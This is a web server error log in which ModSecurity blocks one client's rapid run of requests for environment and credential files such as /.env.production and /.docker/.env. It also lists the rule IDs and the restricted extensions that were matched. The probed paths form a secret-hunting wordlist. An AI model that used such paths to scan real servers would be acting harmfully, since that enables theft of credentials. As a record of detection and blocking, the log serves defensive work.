[Wed Feb 25 06:04:22.069222 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtAAAAAc&quot;]
[Wed Feb 25 06:04:22.069538 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtAAAAAc&quot;]
[Wed Feb 25 06:04:22.069727 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtAAAAAc&quot;]
[Wed Feb 25 06:04:22.141259 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtQAAAAc&quot;]
[Wed Feb 25 06:04:22.141578 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtQAAAAc&quot;]
[Wed Feb 25 06:04:22.141865 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtQAAAAc&quot;]
[Wed Feb 25 06:04:22.142050 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtQAAAAc&quot;]
[Wed Feb 25 06:04:22.187772 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.www&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtgAAAAc&quot;]
[Wed Feb 25 06:04:22.188067 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtgAAAAc&quot;]
[Wed Feb 25 06:04:22.188248 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.www&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtgAAAAc&quot;]
[Wed Feb 25 06:04:22.295245 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtwAAAAc&quot;]
[Wed Feb 25 06:04:22.295558 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtwAAAAc&quot;]
[Wed Feb 25 06:04:22.295754 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/.env&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXtwAAAAc&quot;]
[Wed Feb 25 06:04:22.422926 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuAAAAAc&quot;]
[Wed Feb 25 06:04:22.423210 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuAAAAAc&quot;]
[Wed Feb 25 06:04:22.423388 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuAAAAAc&quot;]
[Wed Feb 25 06:04:22.508654 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuQAAAAc&quot;]
[Wed Feb 25 06:04:22.508952 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuQAAAAc&quot;]
[Wed Feb 25 06:04:22.509148 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuQAAAAc&quot;]
[Wed Feb 25 06:04:22.615866 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXugAAAAc&quot;]
[Wed Feb 25 06:04:22.616144 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXugAAAAc&quot;]
[Wed Feb 25 06:04:22.616324 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_1&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXugAAAAc&quot;]
[Wed Feb 25 06:04:22.738107 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuwAAAAc&quot;]
[Wed Feb 25 06:04:22.738427 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuwAAAAc&quot;]
[Wed Feb 25 06:04:22.738653 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXuwAAAAc&quot;]
[Wed Feb 25 06:04:22.952112 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.environment&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXvgAAAAc&quot;]
[Wed Feb 25 06:04:22.952506 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXvgAAAAc&quot;]
[Wed Feb 25 06:04:22.952763 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.environment&quot;] [unique_id &quot;aZ6C1ov6AM5Bs3q_JQDXvgAAAAc&quot;]
[Wed Feb 25 06:04:23.094281 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXvwAAAAc&quot;]
[Wed Feb 25 06:04:23.094589 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXvwAAAAc&quot;]
[Wed Feb 25 06:04:23.094806 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXvwAAAAc&quot;]
[Wed Feb 25 06:04:23.140736 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;aZ6C14v6AM5Bs3q_JQDXwAAAAAc&quot;]
